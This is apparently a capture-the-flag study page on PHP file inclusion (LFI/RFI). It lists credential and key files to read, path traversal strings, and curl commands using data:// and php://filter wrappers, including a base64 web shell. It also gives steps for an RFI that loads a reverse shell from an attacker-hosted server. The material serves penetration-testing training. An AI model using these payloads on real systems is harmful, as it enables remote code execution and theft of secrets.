> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/file-inclusion-lfi-rfi.md).

# File Inclusion - LFI/RFI

This vulnerability occurs when the user can control in some way the file that is going to be load by the server.

**Local File Inclusion (LFI):** The sever loads a local file.

**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow\_url\_include**).

## Directory traversal vs. File inclusion

We can use *directory traversal vulnerabilities* to obtain the contents of a file outside of the web server's web root.&#x20;

*File inclusion* vulnerabilities allow us to "include" a file in the application's running code. This means we can use file inclusion vulnerabilities to **execute** local or remote files, while directory traversal only allows us to read the contents of a file.&#x20;

If we leverage a directory traversal vulnerability in a PHP web application and specify the file **admin.php**, the source code of the PHP file will be displayed. On the other hand, when dealing with a file inclusion vulnerability, the **admin.php** file will be executed instead.

## Testing for LFI

### Testing for LFI in Linux

Example files to test for:

* `/etc/passwd`
* `/etc/hosts`
* `/home/<user>/.bash_history`&#x20;
* `/home/<user>/.ssh/id_rsa`
* The user flag, e.g. `/home/<user>/user.txt`
* Files under the [/proc file system](https://www.kernel.org/doc/html/latest/filesystems/proc.html) such as `/proc/self/cwd/app.py` for Flask services.&#x20;

Things to test:

* Try to add `../../../../../` or `..%2F..%2F..%2F..%2F..%2F`
* Specify a non-existing page such as `does_not_exist.xyz` to provoke an error message that gives us more information

### Testing for LFI in Windows

Example files to test for:

* `C:\Windows\win.ini`, i.e `/Windows/win.ini`
* `C:\Windows\System32\drivers\etc\hosts`, i.e. `/Windows/System32/drivers/etc/hosts`
* The user flag, e.g. `C:\Users\<Username>\Desktop\user.txt`

Things to test:

* Relative path, i.e. add `../../../../../` or `..%2F..%2F..%2F..%2F..%2F`
* Try to change `/` for `\` or `\\`
* Absolute path, i.e. use `C:\full\path\to\file.txt`&#x20;

## Testing for RFI

1. Share your reverse shell or similar with HTTP (`python -m http.server`)
2. Add `http://192.168.45.167:8000/php_reverse_shell.php` to the variable.

## Wordlists

The following wordlists might be useful for automated fuzzing:

<table><thead><tr><th width="344">Wordlist</th><th width="143">#Words</th><th>Comment</th></tr></thead><tbody><tr><td><em>/usr/share/seclists/Fuzzing/LFI/</em>LFI-gracefulsecurity-windows.txt</td><td>236</td><td>General Windows wordlist with absolute paths</td></tr><tr><td><em>/usr/share/seclists/Fuzzing/LFI/</em>LFI-gracefulsecurity-linux.txt</td><td>880</td><td>General Linux wordlist with absolute paths</td></tr><tr><td><em>/usr/share/seclists/Fuzzing/LFI/</em>LFI-Jhaddix.txt</td><td>929</td><td>General Linux wordlist both absolute and relative paths and including some URL and base64-encoding.</td></tr></tbody></table>

## [PHP Wrappers](https://www.php.net/manual/en/wrappers.php)

### [data://](https://www.php.net/manual/en/wrappers.data.php)

The `data://` wrapper can be used to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code.

#### Examples

Use with plaintext PHP-script

```bash
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
```

Use with base64-encoded PHP-script

1. Encode the script<br>

   ```bash
   echo -n '<?php echo system($_GET["cmd"]);?>' | base64
   PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
   ```
2. Use it with parameter<br>

   ```bash
   curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
   ```

#### Restrictions

<table><thead><tr><th width="292">Attribute</th><th>Restricted?</th></tr></thead><tbody><tr><td>Restricted by <a href="https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen">allow_url_fopen</a></td><td>Yes</td></tr><tr><td>Restricted by <a href="https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include">allow_url_include</a></td><td>Yes</td></tr></tbody></table>

### [**php://filter**](https://www.php.net/manual/en/wrappers.php.php)

`php://filter` is a kind of meta-wrapper designed to permit the application of [filters](https://www.php.net/manual/en/filters.php) to a stream at the time of opening. This is useful with all-in-one file functions such as [readfile()](https://www.php.net/manual/en/function.readfile.php), [file()](https://www.php.net/manual/en/function.file.php), and [file\_get\_contents()](https://www.php.net/manual/en/function.file-get-contents.php) where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

The `php://filter` target takes the following parameters as part of its path. Multiple filter chains can be specified on one path. Please refer to the examples for specifics on using these parameters.

<table><thead><tr><th width="231">Name</th><th>Description</th></tr></thead><tbody><tr><td><strong>resource</strong>=/path/to/file</td><td><p>This parameter is <strong>required</strong>. </p><p>It specifies the stream that you would like to filter.</p></td></tr><tr><td><strong>read</strong>=filter_list_to_apply_to_read_chain</td><td><p>This parameter is <strong>optional</strong>. </p><p>One or more filter names can be provided here, separated by the pipe character (|).</p></td></tr><tr><td><strong>write</strong>=filter_list_to_apply_to_write_chain</td><td><p>This parameter is <strong>optional</strong>. </p><p>One or more filter names can be provided here, separated by the pipe character (|).</p></td></tr><tr><td>filter_list_to_apply_to_both_chains</td><td>Any filter lists which are not prefixed by <strong>read=</strong> or <strong>write=</strong> will be applied to both the read and write chains as appropriate.</td></tr></tbody></table>

#### Examples

LFI-access to file that will be base64-encoded

```bash
curl "http://192.168.202.16/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php"
```

#### Restrictions

<table><thead><tr><th width="267">Attribute</th><th> Restricted?</th></tr></thead><tbody><tr><td>Restricted by <a href="https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen">allow_url_fopen</a></td><td>No</td></tr><tr><td>Restricted by <a href="https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include">allow_url_include</a></td><td><code>php://input</code>, <code>php://stdin</code>, <code>php://memory</code> and <code>php://temp</code> only.</td></tr></tbody></table>

## Resources

file\_inclusion\_linux.txt - Auto\_Wordlists: <https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/refs/heads/main/wordlists/file_inclusion_linux.txt>

file\_inclusion\_windows.txt - Auto\_Wordlists: <https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/refs/heads/main/wordlists/file_inclusion_windows.txt>

File Inclusion - HTB Cheat Sheet: <https://www.hackthebox.com/files/cheatsheet-file-inclusion.pdf>

File Inclusion/Path traversal - HackTricks: <https://hacktricks.wiki/en/pentesting-web/file-inclusion/index.html>

File inclusion vulnerability - Wikipedia: <https://en.wikipedia.org/wiki/File_inclusion_vulnerability>

File path traversal - PortSwigger: <https://portswigger.net/kb/issues/00100300_file-path-traversal>

LFI Cheat Sheet - HighOn.Coffee: <https://highon.coffee/blog/lfi-cheat-sheet/>

Path Traversal - OWASP: <https://owasp.org/www-community/attacks/Path_Traversal>

Supported Protocols and Wrappers - PHP Manual: <https://www.php.net/manual/en/wrappers.php>
